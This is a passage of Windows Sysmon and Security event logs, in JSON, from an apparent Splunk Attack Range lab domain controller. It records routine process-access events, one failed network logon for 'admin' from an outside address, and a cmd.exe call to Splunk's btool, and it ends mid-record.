11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1876,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1877,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1878,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1879,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1880,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.594\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-001020350300}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.594","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-001020350300}","TargetProcessId":"3656","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221486,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59472\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59472","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1881,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.828\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-001020350300}\r\nSourceProcessId: 3656\r\nSourceThreadId: 3660\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.828","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-001020350300}","SourceProcessId":"3656","SourceThreadId":"3660","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1882,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.844\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-001020350300}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.844","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-001020350300}","TargetProcessId":"3656","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1883,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nProcessGuid: {90617006-3FE7-5F2D-0000-00107C380300}\r\nProcessId: 3572\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list replication_port --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: 